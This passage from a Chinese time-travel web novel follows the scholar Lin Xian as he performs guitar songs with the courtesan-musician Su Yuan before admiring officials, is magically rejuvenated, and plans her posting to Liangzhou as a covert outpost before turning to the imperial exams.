周巡抚抚须一笑,目光扫过灯火通明的悦来楼,声音洪亮毫不避讳:“闲先生乃我江南文气所钟,更兼有经世致用之奇才!此番雅集闻所未闻,本抚岂能错过?自然要来占个座,一睹我这友人又能玩出什么新花样?”
言语间对林闲的赏识、亲近与期待溢于言表,一句小友,更是分量千钧!
两位重量级人物的互动,引得现场一片倒吸凉气之声,众人更加意识到这场雅集的恐怖分量。
他们并未过多寒暄,在众人敬畏、羡慕、震惊的复杂目光中,由激动得手脚都不知往哪放的林承宗亲自躬身引路,径直走向VIP区最前排正中的两个预留主座。
此举无疑向全场宣告:这场雅集,我二位大佬力挺到底!林闲,我们罩了!
随后,织造、盐运、守备等一众衙门的官轿,以及各大世家、巨商的豪华马车,接踵而至,将宽阔的街道堵得水泄不通。
衣着光鲜的士绅名流、裙裾飘飘的夫人小姐,在仆从的簇拥下,持着那张千金难求的票券步入灯火辉煌的悦来楼。
空气中弥漫着名贵香粉、熏香以及一丝提神醒脑的“元启”清口胶的薄荷气息,共同酝酿着一场前所未有的狂欢。
楼内,更是另一番极尽奢华与雅致的景象。
VIP雅座区,锦垫铺陈香茗氤氲,小几上早已摆好了精雕细琢的茶点和那份令人艳羡的“至尊礼盒”。
周巡抚和周知府坐在主位谈笑风生,目光却不时瞟向那绛红色幕布低垂的舞台,难掩期待。
各家夫人小姐则矜持地交换着眼色,扇子半掩朱唇,低声议论着彼此的服饰和即将出场的苏大家,目光也时不时敬畏地扫过前排的两位周大人。
普通坐席区亦是座无虚席,人头攒动,士子商贾引颈以待,气氛热烈得如同煮沸的开水。
能亲眼见到巡抚和知府同场为林解元站台,对他们而言已是天大的意外之喜和谈资!
戌时正刻,悦来楼内所有的灯笼烛火,如同得到号令般,齐齐暗下三分!
原本喧闹如市集的大厅,瞬间鸦雀无声,落针可闻!
所有人的目光,不由自主聚焦于那座被重新装饰过、神秘莫测的舞台。
幕布低垂,隐约可见后方人影晃动。连前排的周巡抚和周知府也停止了交谈,面露期待与审视。
就在这万籁俱寂、万众屏息的历史性时刻,一道清越而略带磁性、仿佛带着魔力的声音,不借助任何扩音,却清晰地、如耳语般传遍大厅的每个角落,带着几分慵懒的笑意和不容置疑的从容:
“承蒙周抚台、周府台二位大人及在场诸位高贤厚爱,拨冗莅临。林某些许微末伎俩,新声初试,若有不堪入耳之处,还望海涵。”
他先精准问候了在场地位最高的两位大佬,礼节周到不卑不亢,更是将所有人的期待值拉满!
话音落下,绛红色幕布徐徐拉开!
一束特意由数十盏大型琉璃烛台聚焦而成的、如同月华般的光柱,精准地打在舞台中央!
光柱之中,一人悠然静立。
正是林闲!
他并未穿着繁复夸张的华服,依旧是一身看似朴素的月白细棉长衫,衣袂在光线下泛着柔和如玉的光泽。
细心之人肯定能发现,那长衫的剪裁极为合体,完美勾勒出他挺拔如松的身姿。
他怀中抱着那把紫檀木吉他,修长的手指随意地搭在琴弦上,姿态闲适得仿佛在自家书房,脸上带着一抹云淡风轻的浅笑。
仅仅是这份静立时的气度,这份泰山崩于前而色不变的从容,便已让台下许多人心折不已。
没有谄媚的鞠躬,没有刻意的讨好,只有一种发自骨子里的、睥睨全场的自信与魅力!
“此物名为吉他,源自极西之地。”
林闲指尖轻轻拂过琴弦,发出一串如清泉流深、珠落玉盘般的悦耳音色。
那悠悠的声音,仿佛在介绍一位相交莫逆的老友:“音色如何,是骡子是马,总得拉出来溜溜。诸君……且听。”
说罢,林闲不再多言。
他目光微敛,神情瞬间变
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得专注而深邃,仿佛整个灵魂都沉浸到了音乐之中。右手拇指与食指轻巧如蝶舞般拨动琴弦!
一段节奏明快、旋律新颖独特、带着异域风情却又直击心灵的前奏,如同决堤洪水,骤然倾泻而出!
这声音迥异于古琴的沉郁、琵琶的激越、古筝的清越,它更清亮、更富有颗粒感。
极强的节奏感,瞬间打破了在场所有人对音乐旋律和节奏的固有认知。如在一池静水中投入了一块巨石,激起了滔天巨浪!
紧接着,舞台侧方的“元音坊”乐师们——操琴、执箫、抱琵琶、握竹笛的几位高手,仿佛与林闲心有灵犀,音符精准切入。
古琴的醇厚、箫声的悠远、琵琶的铿锵、竹笛的清越,与吉他的明快新颖,竟在这奇妙的节奏中相得益彰。
非但不显突兀,反而呈现出一种前所未有的和谐、活力与震撼力!
林闲开口,嗓音清越而富有磁性,唱响那首《闲歌行》:
“本是后世一闲人,误入前朝科举门。
肥皂香水混商贾,吉他乱弹假充文。
(间奏,一段华丽而略带诙谐、指尖飞舞令人眼花缭乱的吉他华彩,炫技!)
莫笑林郎不务正业,且听新声破旧尘!
今日一曲惊四座,管他今夕是何年!”
歌词诙谐自嘲,将自己的“不务正业”坦然道出,却带着一股睥睨世俗、洒脱不羁的豪情!旋律朗朗上口,节奏感极强,极具煽动力!
台下观众,从最初的震惊、茫然、难以置信,到被这前所未闻、新奇有趣又充满力量的音乐深深吸引,再到听懂歌词后的会心一笑乃至拍案叫绝。
最后竟有大批年轻士子、甚至一些性格开朗的商人,都忍不住跟着节奏指尖轻叩桌面,甚至有人低声跟着哼唱起来……
现场气氛,瞬间被点燃!
一曲终了。
余音绕梁,不绝于耳。
全场出现了刹那的死寂。所有人都还沉浸在那种新奇、震撼、兴奋的复杂情绪中,没能回过神来。
随即!
“好——!!!”
雷鸣般的掌声喝彩声,轰然爆发!
瞬间席卷了整个悦来楼,几乎要掀翻屋顶!
前排的周巡抚抚掌大笑:“妙极!妙不可言!不拘一格,自成一派。此曲只应天上有,人间能得几回闻?林解元真乃我江南之瑰宝,文坛之异数!当浮一大白!”
周知府也激动得满脸红光,连连对左右道:“如何?本官早就说过,闲先生非常之人,必行非常之事!”
第131章 元舞惊鸿倾天下,闲琴合鸣定情缘
《少年游》激昂的尾音尚在梁间铮鸣回荡,如同烈酒入喉,点燃了全场的热血!
台下掌声、喝彩声如**般席卷舞台,年轻士子们个个面色潮红,双拳紧握。
仿佛歌词中“匹马出江陵,昂首向帝京”的豪情与“笑对权贵冷眼,何惧前路风雨倾”的傲骨,正是他们压抑已久、亟待喷发的抱负!
前排的周巡抚捻须颔首,眼中精光闪烁,对身旁激动不已的周知府低语,声音虽轻,却字字清晰传入周围人耳中:“闲先生胸中丘壑,非止于词章小道,观其词意,竟有几分心系天下、匡时济世的格局!假以时日,必非池中之物!”
周知府闻言,更是与有荣焉。他连连点头如小鸡啄米,仿佛被夸奖的是他自己。
然而所有人都心照不宣,今晚真正的压轴大戏、灵魂所在,尚未登场。
空气中弥漫着一种近乎虔诚的期待,无数道目光灼热瞟向舞台侧方那片阴影包裹的区域。
那里,一抹静若幽兰的身影,仿佛遗世独立的仙子,正等待着唤醒世界的时刻。
就在《少年游》最后一个音符铿然落定的刹那,舞台上所有的灯光,如同被一只无形的手瞬间攫取,再次骤然暗了下去。
只留下一束极其柔和的光柱,静静孤独地笼罩在舞台中央,将那片区域映照得纤尘不染,如梦似幻。
这极动到极静的转换,这极致的光影操控,仿佛带着魔力,让原本沸腾如鼎的大厅,瞬间鸦雀无声,万籁俱寂!所有人的心跳声、呼吸声,都清晰可闻,仿佛被这静谧扼住了喉咙。
就在这时间仿佛凝固的刹那——
一缕清越空灵、不染尘埃的古琴音,如云外仙鹤的清唳,又如深谷幽泉滴落玉盘,悄然破开寂静。
琴音不高,却带着一种洗涤心尘的力量,瞬间抚平因《少年游》而激荡的热血与躁动,将众人带入一个空灵、静谧、唯美的意境之中。
光束,缓缓地、如同有生命般移动,最终温柔地照亮了舞台一侧。
光柱中,苏元已然端坐于一张古朴的紫檀木琴案之前。
她身着一袭素白如雪、无一丝杂色的广袖流仙舞衣,衣袂飘飘不染尘埃。如瀑青丝仅以一支通体剔透的白玉簪挽住,几缕发丝垂落鬓角,更添我见犹怜的风致。
此刻苏元螓首微垂,长睫如蝶翼般轻颤。
纤纤玉指在古琴上轻拢慢捻,每一个动作都优雅到极致。
那专注而沉浸的神情,仿佛已隔绝了尘世所有喧嚣,整个人与琴、与这月光融为了一体。
仅仅是这**抚琴的姿态,便已美得令人窒息,令人心醉神迷!
“是苏大家!苏大家出场了!”
“天啊……此女只应天上有……”
台下响起一片极力压抑着的、带着颤抖的惊呼和抽气声,充满了激动、惊艳与虔诚。
此时,另一束同样柔和却稍显温暖的光柱,恰到好处地亮起。
林闲抱着他那把紫檀木吉他,从容不迫地步入光柱之中。
他并未走向舞台中央抢占风头,而是极有分寸地停在了苏元琴案斜前方不远处,形成一个富有张力的斜角呼应之势。
林闲侧身看向苏元,目光温柔得能滴出水来,那眼神中充满了欣赏、默契与无需言说的情意。
苏元似有所感,指尖流淌的琴音未有一丝紊乱,却微微抬眸,与他视线在空中交汇、缠绕,唇角勾起一丝几不可察、却足以倾国倾城的浅浅弧度。
无需一言,一种无形的气场已然将两人笼罩。那是一种灵魂的共鸣,是艺术与情感的完美融合。
全场观众的心神,已被这绝美的画面、天籁的琴音和这无声的情意交流,牢牢攫取无法自拔!
林闲深吸一口气,右手五指在吉他琴弦上优雅地展开一个饱满而温暖的开放和弦!
吉他那温润、磁性、带着木质共鸣的音色,如月下溪流潺潺,又如情人间的呢喃耳语,温柔无缝注入古琴那清冷空灵的旋律之中。
没有丝毫的突兀与违和!
两种截然不同、跨越时空的乐器,此刻却像前世注定、今生重逢的知己。
古琴的空灵为吉他铺陈出深邃幽远的背景,吉他的温暖又为琴音增添了缠绵悱恻的人间情致。
前奏过后,林闲开口。
他嗓音低沉、饱含深情,每一个字都仿佛敲击在听众的心尖上,唱响了那首专为苏元、也为自己心声的《元儿曲》:
“秦淮水暖柳如烟,画舫琴音绕指柔……(吉他分解和弦,音符如涟漪般层层荡漾开)
初见犹疑是梦境,再顾方知缘已牵。”(唱到此处,他目光再次与苏元交汇,那眼神中的珍视与笃定,情意流转,几乎化为实质!)
(一段古琴与吉他深情对话式的间奏!古琴清越,如女子含蓄的倾诉;吉他温醇,如男子深情的回应。音符交织缠绕,如泣如诉,将那种欲语还休、情根深种的情感渲染得淋漓尽致!)
“元儿元儿舞翩跹,如蝶如仙落凡间……”
唱到这一句时,苏元的琴音恰到好处做了一个华丽的轮指,一串如玉珠落盘的清脆音符迸发而出!
随即她盈盈起身,古琴交由身旁垂手侍立的侍女无缝衔接,乐音未曾有片刻断绝。
她舒展如云的水袖,足尖轻点似踏在月光之上,随着歌词的意境和音乐的旋律,翩然起舞!
长袖善舞,衣袂飘飘。
每一个回旋,都似弱柳扶风,轻盈欲飞;每一个眼神,都含千般情愫,诉万种风流!
她的舞姿,将歌词中“秦淮烟柳”的江南婉约,“画舫琴音”的雅致风情,与“如蝶如仙”的灵动飘逸,“相思不尽”的缠绵悱恻,演绎得淋漓尽致,入木三分!
尤其是当林闲唱到那句最深情的告白“一曲相思诉不尽,唯愿长伴卿身边”时,苏元一个曼妙到极致的旋转,水袖挥洒如流云回雪,目光穿越光影再次与林闲相遇!
那一眼,包含多少欲语还休的深情、多少即将别离的不舍、多少对未来的期许!
一切,尽在不言中!
才子深情弹唱,佳人倾情起舞,
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琴歌合鸣情意交融。
此情此景,已超越了艺术的范畴,堪称一场灵魂的共鸣与展示!
台下观众,无论男女老幼,无论身份高低,全都如痴如醉,沉浸在这极致的唯美、深情与艺术享受之中!
许多夫人小姐早已泪光闪闪,掏出绣帕悄悄拭去眼角的泪花,被这真挚动人的情感深深打动。
就连前排见多识广的周巡抚和周知府,也看得目不转睛,面露激赏与震撼之色。
周巡抚更是情不自禁,轻声赞叹。
他声音虽低,却清晰地传入周围人耳中:“此曲只应天上有,人间能得几回闻。此舞只合天上有,人间能得几回观。才子佳人,珠联璧合情真意切,此乃我江南文坛百年不遇之佳话!当载入方志!”
琴弦的余韵还在耳畔轻颤,林闲已放下吉他快步上前。
在最后一个节拍消散的瞬间,他自然地伸手挽住苏元的腰肢,将她从谢礼的姿态中轻轻托起。
这个突如其来的动作让苏元微微一怔,抬眼正对上林闲含笑的眼眸。
台下掌声如潮水般涌来,却仿佛隔着一层薄雾——此刻他们的世界里只剩下彼此交缠的呼吸。
林闲的手稳稳扶在她纤腰,透过舞衣传来柔和的体温。
方才舞蹈时的悸动尚未平息,此刻又被这个亲近的姿势点燃,苏元觉得自己的脸颊更烫了。
他们就这样站在舞台中央,像两株依偎的藤蔓。
林闲的目光细细描摹着她泛红的脸颊,从微湿的鬓角到水光潋滟的眼眸。
他想起刚才弹奏时,看她旋转时裙摆绽开的弧度,每一个转身都精准地落在他拨动的弦音上。
而现在她眼中未褪的情意,比任何舞蹈动作都更让人心折。
苏元在林闲深邃的注视里看见了自己的倒影,她忽然想起排练时他说过的话:"舞蹈的结束不是终止,而是另一种开始。"
此刻他指尖的温度正透过衣料传来,像是一个无声的承诺。
台下有观众发出崇拜的惊呼,她才惊觉这个对视已经持续得太久,久到足以让满场观众都窥见那些涌动的情愫。
林闲的手稍稍收紧,将她带得离自己更近了些。
在愈发热烈的掌声中,他低头在她耳边轻语,气息拂过她耳畔:"你看,我们连谢幕都要同步。"
苏元忍不住弯起嘴角,眼波流转间盈满了星光。
当两人再度牵手向观众致意时,交握的手在身后悄悄牵住,像两个共犯藏起了一个只属于彼此的秘密度过这个夜晚的喧嚣。
他们知道有些东西已经不一样了——那个对视的瞬间,已经让某些朦胧的情愫更加稳固。
两人站在一起,郎才女貌天造地设,仿佛一幅最美的画卷。
全场陷入了长达数息的、死一般的绝对寂静!所有人都还沉浸在刚才那唯美、深情、震撼灵魂的气氛中,无法自拔,不愿醒来!
随即——
如山崩地裂、如海啸奔腾般的掌声、喝彩声、尖叫奔袭而来!
“好——!!!”
第132章 文气灌体:返老还童,倾心痴迷
演出的巨大成功,余威不绝。
林闲的声望,在江南士林和民间达到了一个前所未有的顶峰。
那种被千万人狂热崇拜的目光所汇聚的感觉,仿佛形成一种无形却磅礴的“愿力”或“文气”。
当晚,林闲回到江宁别院那间藏书万卷、墨香四溢的书房。
虽已夜深他却毫无睡意,依旧沉浸在一种创作与表演带来的精神高度共鸣中。
林闲立于窗前,望着窗外秦淮河上碎银般的粼粼波光,心中如电影回放般闪过舞台上的每一幕:苏元那倾国倾城的惊鸿一舞,观众那山呼海啸、经久不息的掌声与喝彩,周巡抚那击节赞叹、近乎定论的高度评价……
一种难以言喻的通透、畅快与精神上的圆满感,如同温暖而浩瀚的潮水,席卷他的全身。他感到自己的思维前所未有的清晰、敏锐,精神力量饱满欲溢,仿佛要破体而出!
就在这心神与天地共鸣的巅峰时刻——
异变陡生!
他体内那股因穿越时空而潜伏、又因屡次“文抄”经典和“格物致用”积累的某种玄之又玄的潜能,似乎被今夜这场声望愿力所引动,终于冲破了某个无形的桎梏,骤然勃发!
“嗡——”
林闲只觉脑海中一声轰鸣,仿佛黄钟大吕在灵魂深处敲响!
一股温和却磅礴如山岳、精纯如朝露的暖流,自丹田深处轰然升起,如决堤的银河迅速流遍四肢百骸,冲刷着他的每一条经脉,洗涤着每一寸血肉骨骼!
“咔嚓……咔嚓……”
他周身关节发出一阵细微却密集的、如春笋破土般的轻响!
肌肤之下仿佛有无形的火焰在煅烧,一丝丝油腻灰黑的杂质,透过毛孔被缓缓排出,散发出淡淡的腥气,随即又被一股无形的清气涤荡干净。
一种脱胎换骨般的轻盈如初春的朝阳,充盈了他的全身!
“这是……第N次文气灌体?”
林闲心中又惊又喜,震撼莫名!
中举那晚虽有文气滋养,他还以为自己的“硬件”升级到此为止了。
没想到,今夜这场融合了创新、情感与巨大影响力的雅集,竟成了突破的契机!
他下意识快步走到书案旁,望向那面光可鉴人的巨大铜镜前。
镜中映出的影像,让他结结实实吃了一惊!
只见镜中面容原本仅存的些许风霜痕迹、细小的皱纹,已淡去无踪。皮肤变得紧致光滑,焕发出一种健康莹润的光泽。
眼神则更加清澈深邃,眸中仿佛有星河流转,摄人心魄。原本略显稀疏灰白的鬓角,竟也重现浓密,乌黑如墨。整个人的精气神发生了翻天覆地的变化,仿佛一下子年轻了十岁不止!
林闲终于从一个成熟稳重、略带沧桑的中年文士,赫然变回到了一个三十出头、正值盛年、英姿勃发的俊朗青年模样。沉稳从容的气度依旧,却更添了几分难以言喻的飘逸出尘之感和蓬勃的英气!
“这……这效果也太逆天了吧?!”
林闲忍不住伸手抚摸着自己光滑紧致了许多的脸颊,触感真实得令人发指!
他对着镜子眨了眨眼,扯了扯嘴角,确认不是幻觉,心中顿时被巨大的惊喜和豪情填满……
次日清晨。
阳光透过雕花窗,洒满花厅。
苏元早已在厅中等候,与林闲约定共用早膳。她正轻抚琴弦,回味着昨夜琴歌合鸣的余韵,嘴角带着浅浅的幸福笑意。
就在这时,脚步声传来。苏元闻声抬头,望向门口——
这一看她整个人如同被施了定身法,直接僵住了!
手中的茶盏,“哐当”一声失手滑落,但她浑然未觉!
一双秋水般的美眸瞪得大大的,充满了难以置信和惊艳!
她下意识站起身,红唇微张呆呆看着那个逆着光、缓步走入花厅的身影。
依旧是那熟悉的月白长衫,依旧是那从容的步态。可是……可是……那张脸!?
“闲……闲君?”
苏元的声音带着明显的颤抖和不确定,仿佛怕认错了人。
“你……你昨夜是……是服用了什么仙丹灵药?还是……修炼了什么返老还童的玄门秘术?怎地……怎地仿佛一夜之间,年轻了十岁不止?!”
苏元忍不住快步上前,也顾不得什么礼仪矜持,凑到林闲面前,几乎是贴着面地端详他的脸,眼中满是不可思议。
林闲看着她这般失态又可爱的模样,心中莞尔
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,泛起浓浓的怜爱。他伸手轻握住她微微冰凉的柔荑,触感细腻柔滑。
他微微一笑,语气带着几分戏谑:“仙丹灵药?玄门秘术?”
林闲摇了摇头,指尖轻轻拂过她泛红的脸颊,动作温柔道:“或许……是昨夜与元儿琴歌共舞,心有灵犀神魂交融,引动了天地间的文华之气,这文气涤荡身心,故而有了这般变化吧。”
他半真半假解释道,将功劳巧妙地引向了两人共同的创作与情感共鸣上。
苏元感受着他掌心传来的温热有力的触感,听着他这近乎情话的解释,再看着他英气逼人的面容,尤其是那双深邃如星海、饱含智慧与深情的眼眸……
她只觉心如鹿撞,砰砰直跳,脸颊瞬间飞起醉人的红霞,一直蔓延到耳根,浑身都有些发软。
苏元本就对林闲情根深种,仰慕其才华,倾心其气度。
此刻见他竟因与自己的合作而发生了如此神奇、近乎逆天的变化,更觉他魅力无穷,仿佛天上降下的谪仙!
心中那份倾慕与爱恋,瞬间膨胀到了无以复加的地步,苏元眼中流露出深深的痴迷与毫无保留的爱意。
“闲君……”
她声音柔腻得能滴出水来,眼波流转呢喃:“若真如此……那元儿……元儿岂不是成了助闲君‘返老还童’的功臣了?”她略带娇羞地开起了玩笑,心中满是甜蜜与自豪。
林闲闻言哈哈大笑,顺势将她轻轻揽入怀中低声道:“自然是天大的功臣!若无元儿,焉有昨夜盛况?若无盛况,何来文气灌体?此等造化,元儿当居首功!”
阳光透过窗棂洒在相拥的两人身上,男子俊逸如仙,女子绝美倾城,构成一幅完美得如同画卷的场景。
苏元依偎在他怀中,感受着他身上传来的蓬勃生机和清新气息,心中充满了巨大的幸福感和安全感。
她知道自己选择的男人注定是人中龙凤,非凡俗可比。
而她将永远追随他的脚步,无论天涯海角。
经此“文气灌体”之事,林闲的个人魅力与神秘感再度飙升,而苏元对他的感情,也愈发死心塌坚不可摧。
这无疑为林闲未来的谋划,又增添了一枚重要的砝码。
第133章 定计布暗棋,元儿赴征程
离别的日子,终究到了。
太子周扬的调令已下,内容却出乎意料。
他并非直接将苏元贬斥或投入某个画舫(那太过露骨),而是明升暗降杀人诛心。
擢升苏元为“东宫文化司特使”,派往西北边陲重镇——凉州,主持筹建“东宫雅集别院”及附属茶坊,旨在“宣扬中原雅文化教化边民,结好当地士绅”。
名义上这是太子重视西北文教赋予重任,以示恩宠。实则是将她调离江南核心圈,远离权力中心和林闲。置于苦寒边地,其疏远警示乃至流放的意味不言而喻!
临行前夜,秦淮河上。
月隐星稀,水波幽暗。
那艘熟悉的画舫内,却温暖如春暗香浮动。
没有旁人,只有一对即将天各一方的璧人。
苏元已卸下了平日清冷自持的大家风范,柔弱无骨依偎在林闲怀中。
无声的泪水如同断线的珍珠不断滑落,浸湿了他胸前月白色的衣襟,留下人心碎的痕迹。
“闲君……”
她哽咽着,声音柔婉带着颤音:“太子此举,名为升迁,实为……流放千里。凉州苦寒,风沙凛冽,人地两生,元儿……元儿心中实在忐忑惶恐……” 此刻的她,不再是那个名动江南的苏大家,只是一个即将远离爱郎、孤身赴险的寻常女子。
林闲紧紧搂着她不盈一握的纤细腰肢,下颌轻轻摩挲着她散发着淡淡发香的如云青丝,心中充满了滔天的不舍、蚀骨的怜惜,更有对太子刻骨铭心的冷意与怒火!
他低下头吻去她眼角的晶莹,动作温柔得仿佛在对待一件稀世珍宝。
“元儿。”
他的声音充满磁性,带着令人安心的力量。
苏元闭上眼,长长的睫毛如同蝶翼般剧烈颤抖,感受着他唇间传来的温热与怜爱,心中既甜蜜如饴,又酸楚如醋。
两人的呼吸交织在一起,船舱内弥漫着苏元身上特有的冷梅香、林闲常用的清雅书墨气,以及那浓得化不开的离愁别绪。
林闲捧起她的绝美脸庞,借着舷窗透入的朦胧月光,贪婪端详着她每一分雅姿,仿佛要将这一刻永久刻入自己的灵魂深处。
苏元也睁开美眸,痴痴望着他因文气灌体而愈发年轻俊朗、魅力逼人的面庞。
她心中爱意如潮,主动献上自己柔软的香吻……
月色下,画舫随着轻柔的波浪漫意摇晃,河水发出叹息般的呜咽,诉说着无尽的缱绻与刻骨的不舍。
离别在即,更显此刻温存之珍贵。
良久,两人才依依不舍地缓缓分开。
林闲握着苏元微凉而柔腻的纤手,神色恢复了往日的冷静与睿智:“元儿,太子此计看似高明,将你远调,实则……却也给了我们一个天大的机会!甚至可以说是……塞翁失马,焉知非福!”
苏元抬起泪光未干的眼眸,就这么看着他。
林闲嘴角勾起一抹冷笑,分析道:“太子若直接将你贬入画舫或是严加看管,你的行动反受局限如笼中鸟。如今,他给你一个‘东宫特使’和‘别院茶坊之主’的官方身份,虽是明升暗降却也有了官面上的便利和一定的自主活动空间!”
他目光灼灼,继续深入道:“凉州虽是边陲苦寒之地,却是连接西域、沟通南北的要冲,商旅往来如织,信息繁杂如海,各方势力鱼龙混杂,犬牙交错。在那里以‘宣扬文化’为名,开设别院茶坊,正是天赐良机!可以结交各方人物,收集情报建立人脉网络,名正言顺,事半功倍!”
他凝视着苏元,语气充满激励:“这‘东宫雅集别院’,在太子看来是流放你的冷宫,但在我们手中,未尝不能将其经营成我们在西北的一个重要据点,一个最亮的耳目!甚至是一把插入敌人后方的利刃!”
苏元闻言,美眸中渐渐亮起惊人的光彩。仿佛迷雾被驱散,前路豁然开朗!
是啊!
摆脱了画舫乐籍的束缚,以官方特使的身份活动,空间和自由度反而更大了!
自家男人的目光,果然远超常人!
“闲君所言极是!是元儿一时被离愁蒙蔽了心智,未能看清这背后的玄机!”
她振作起来擦干眼泪,眼中重新焕发出智慧与坚毅的光芒。
林闲满意点头,补充道:“元儿在凉州并非孤军奋战,柳如丝姑娘,因赵王安排也已秘密潜入凉州。不过她并非在画舫,而是以一个西域香料商人宠妾的身份作掩护,在凉州城中暗中活动,经营已久。你此去正可以东宫特使的身份结交商贾女眷,寻机与她取得联系。一明一暗,珠联璧合!”
苏元聪慧绝伦,立刻明白了其中的精妙之处。
她兴奋低声道:“元儿明白!柳大家在暗,经营势力收集情报。元儿在明,以官方身份联络各方掩护策应。我们二人联手,一明一暗相互呼应,更能成事!太子和赵王恐怕都想不到,他们派出的棋子,竟会联手!”
“正是如此!”
林闲赞许看了苏元一眼,从怀中取出一枚刻有特殊复杂暗记的白玉牌,郑重放入苏元手中。
“这是信物,如丝见到此物便知你是我绝对可信之人。具体如何联系,接头暗号,会有人告知你细节。你们二人皆是女中豪杰,智勇双全,在凉州那个龙潭虎穴之地,必能搅动风云有所作为!”
苏元紧紧握住那枚还带着林闲体温的玉牌,仿佛握住了千钧重担,也握住了无限的希望与信任。
她心中涌起一股暖流,原来闲君早已为她谋划得如此周全深远!
不仅考虑了安全,更将她此行巧妙转化为一盘大棋的关键落子。这份深谋远虑、算无遗策和深情托付,让她感动得无以复加!
“闲君放心!”
她挺直了脊梁,眼中再无彷徨与柔弱,只有磐石般的坚毅:“元儿定不负君所托!必在凉州将这‘别院茶坊’,经营成我们的耳目前哨、情报中枢,乃至未来的根基之地!”
黎明时分,晨雾弥漫,寒意沁人。
画舫悄然靠岸。
林闲亲自将苏元送上太子东宫安排的、象征身份的四轮马车。
车帘垂下前,千言万语最终化作林闲一句低沉而有力的嘱托:“保重自己,等我消息。西北风云,待你我……共谱新篇!”
苏元重重点头,泪光一闪而逝,取而代之的是坚定无比的光芒。
马车辘辘启动,渐行渐远,最终消失在秦淮河畔的薄雾之中。
林闲独立于清冷的河岸,久久凝视着马车消失的方向,衣袂在晨风中飘动。
虽然离别伤感,但他心中已燃起新的、更旺盛的斗志!苏元北上,身份便利,可明修栈道;柳如丝在侧,暗中策应,可暗度陈仓;影刹于暗,保驾护航如虎添翼——太子周扬这看似高明的算计,反而阴差阳错为他提供了一个将触角伸向西北战略要地、布下关键暗棋的绝佳契机!
“太子,你自以为高明,却不知是在为我做嫁衣。这盘棋,真是……越来越有趣了。”
林闲嘴角勾起一抹冷笑……
第134章 长亭:弹剑誓春闱,独影启新程
送走苏元的马车,车轮碾过青石路的声响还在耳边回荡,林闲却像被钉在了原地,没有挪动脚步。
他独自走向秦淮河畔那座孤零零的望江长亭,初冬的寒风像刀子一样刮过来,把他那身月白长衫吹得紧贴在身上,勾勒出挺拔却莫名透着一股孤寂的身影。
这风冷得刺骨,却压不住他心里翻江倒海的离愁,和那股被离别硬生生逼出来的狠劲。
望着官道尽头早已空无一人的方向,林闲心里像打翻了五味瓶。从刚来这世界时两眼一抹黑,到现在名震江南、跟王爷们谈笑风生,苏元就像他在这陌生时代里的一盏灯,暖着他也照着他的路。
现在灯被挪走了,要去那千里之外的苦寒之地,就算知道这是步暗藏杀机的好棋,这分离的滋味,还是真他妈的不好受。
他反手解下一直背在身上的紫檀木吉他,这玩意儿现在几乎成了他的标志。
他往后一靠,脊背抵着冰凉的红漆亭柱,面朝着雾气茫茫、江水呜咽的河面,手指像有自己的想法,轻轻勾上了琴弦。
没什么炫技的花活儿,没有吵人的伴奏,就只有吉他本身那种干净里头带着点沙哑的嗓音,混着呼呼的风声,淌出一首藏着说不出口的话的歌:
(吉他声又慢又沉,每个音都像砸在人心上)
“长亭外头,老路边上,冷风把秦淮河都吹皱了。
车轮声越来越远,像是把我心头那块肉也给带走了。”
(一段过门,琴音猛地一绷,透出一股不服输的韧劲)
“别跟我说前头风大雪大,老子把惦记都变成天上的星星。
照着你我分开的这条破路,等到开春,非得让花儿开满你一身!”
(调子突然扬了起来,带着一股豁出去的劲儿)
“这一去西北几千里地,老子人不过去,魂儿也跟着你!
功名算个屁,只有老子想你的这颗心,比万两黄金还重!
等我考中那劳什子状元,踏平山河也得把你接回家!”
(路人侧目,才情惊四座)
这歌他没扯着嗓子喊,就是那么低低地唱,可每个字都像是从心窝子里抠出来的,带着滚烫的温度和铁打的承诺。
歌声顺着寒风,飘出去老远,竟让这萧瑟的河边平添了几分揪心的味道。
一个老船夫本来在修船,听到这调子,动作慢了下来,摇摇头叹口气:“唉,这调门……听着比这腊月风还催泪啊,是哪家的后生,这般痴情?”
不远处,几个准备去附近书院的书生,也被这从未听过的乐器和直白又深情的歌词给吸引住了,忍不住停下脚步,凑在一起低声议论起来。
“咦?那不是……林解元吗?” 一个眼尖的瘦高个书生低呼。
“真是林解元!他怀里抱的是何物?音色好奇特!” 另一个圆脸书生伸着脖子看。
“这曲子……这词……功名算个屁,唯有相思抵万金……我的天,林解元真是……真是语不惊人死不休啊!”
第三个书生一脸震撼,咂摸着歌词感觉自己的世界观受到了冲击。
“你懂什么!”
瘦高个书生一脸崇拜,“此乃真名士自风流!林解元文能中解元,武能制香皂,商能通王府,如今对红颜更是情深似海,视功名如粪土!这才是我辈楷模!比那些死读书的酸丁强了万倍!”
“嘘!小声点!别惊扰了解元公雅兴!此等心境,此等才情,闻所未闻!我等能在此聆听,已是三生有幸!”
圆脸书生赶紧制止,几人顿时肃然起敬,屏息凝神,如同在听大儒讲学一般。
就连路边茶棚里歇脚的几个行商,也放下了茶碗,侧耳倾听。一个满脸风霜的中年商人叹道:“这调子听着让人心里头发酸,又想喝碗酒。这林解元,是个情种!跟他做生意,肯定痛快,重情义!”
最后一个音散在风里,余韵袅袅。
那几个书生还沉浸在歌声营造的意境中,半晌瘦高个才喃喃道:“待到春来花满襟……林解元这是……要赴京赶考了?以解元之才,春闱必中!届时,‘踏遍山河来迎卿’!这是何等的豪情与浪漫!吾辈不如也!” 几人看向林闲的目光,充满了敬佩与向往。
林闲对周围的议论恍若未闻,长长地、重重地吐出一口憋了半天的浊气,好像把满肚子的舍不得暂时都扔给这流水和破琴了。
他刚想把吉他收起来,一阵更邪性的风卷着烂树叶劈头盖脸砸过来,刮得脸生疼。
他猛地一激灵,抬头看天,灰蒙蒙一片,树叶子都掉光了,这才反应过来,已经是深冬了。
“操,都快腊月了……”
林闲骂了句脏话。
苏元一走,加上之前雅集那些破事,忙得他连日子都过糊涂了。
按规矩明年三月,就是三年一次的京城大会考——春闱!
一股火烧屁股的急劲儿“噌”地窜上来,直接把那点离愁别绪给烧没了。会试,那是全国读书人挤破头的修罗场,是鲤鱼能不能跳过龙门的关键!
中个举人顶多是拿到了门票,只有过了会试,成了贡士,才有资格去金銮殿上让皇帝老儿看一眼,搏个进士功名,才算真正摸到了权力的边儿。
“没时间磨蹭了。”
林闲眼神一下子变得跟这天气一样冷。在江南当解元的风光,做生意赚得盆满钵满,搞文化引领风骚,这些玩意儿是重要,是护身符。
但在这个操蛋的时代,正儿八经从科举考出来,才是安身立命的根本,是想干大事的硬门槛。
